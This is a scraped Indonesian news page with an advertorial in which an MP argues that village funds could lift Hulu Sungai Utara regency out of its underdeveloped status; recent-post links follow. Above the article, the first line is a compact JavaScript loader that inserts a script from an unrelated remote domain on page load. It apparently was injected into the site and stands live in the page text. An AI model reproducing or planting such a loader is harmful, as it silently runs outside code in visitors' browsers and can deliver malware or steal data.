(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Advertorial

Dana Desa Mestinya Bisa Hapus Status Tertinggal Kabupaten HSU


AMUNTAI, Melalui program dana desa, Kabupaten Hulu Sungai Utara (HSU) diharapkan dapat terlepas dari status tertinggal menjadi maju dan sejahtera.

Hal tersebut disampaikan anggota DPR RI asal Kalimantan Selatan H Ahmadi Noor Supit‎ ‎saat acara sosialisasi Permendagri oleh Direktorat Penataan dan Administrasi Pemerintahan Desa, di Hotel Jayakarta, Jakarta, 8-11 Agustus 2018.

Sosialisasi Permendagri diikuti Kepala Desa dan anggota Badan Permusyawaratan Desa (BPD) dari 8 Kecamatan di Kabupaten HSU, Dinas Pemberdayaan Masyarakat dan Desa (PMD), Camat, serta Ketua DPRD HSU H Sahrujani.

“Selama negara kita ini merdeka, ‎baru kali inilah pemerintah dan bangsa ini memberikan perhatian terhadap desa dengan memberikan dana desa, karena selama ini selalu berbenturan dengan biaya,” kata mantan Ketua Badan Anggaran (Banggar) DPR RI tersebut.

Ia menilai kondisi HSU yang berstatus tertinggal dikarenakan wilayah yang tidak memiliki sumber daya alam bernilai ekonomis, di samping mayoritas warga berprofesi petani dan pengrajin, namun ia optimis perlahan tapi pasti berkat kegigihan ‎pemerintah daerah hingga ke tingkat desa, HSU bisa terlepas dari status tertinggal menjadi maju dan sejahtera sebagaimana daerah lainnya.

“Dana desa membuat pembangunan di pelosok bisa terlaksana, dan infrastruktur desa yang selama ini terbatas mampu dijawab melalui dana desa,” tuturnya.

Terkait sosialisasi Permendagri tersebut, Ahmadi Noor Supit‎ mengharapkan seluruh peserta dapat mengikuti dan memahami materi yang disampaikan narasumber, karena bukan hanya menggunakan dana desa saja yang harus sesuai aturan. Tetapi aturan yang menaunginya juga harus dipelajari, termasuk pula aplikasi Sistem Keuangan Desa (Siskeudes) maupun Sistem Pengelolaan Aset Desa (Sipades).

“Dari sosialisasi dan bimtek inilah, aparatur pemerintahan desa, BPD, para Camat, hingga Dinas terkait dapat mempelajari dan memahami semua aturan yang menaunginya,” harapnya. (dew)

Reporter : Dew
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

13 menit ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

18 menit ago

Peringatan Hari Bela Negara ke-76, Ini Kata Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More

3 jam ago

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

5 jam ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

18 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

20 jam ago

This website uses cookies.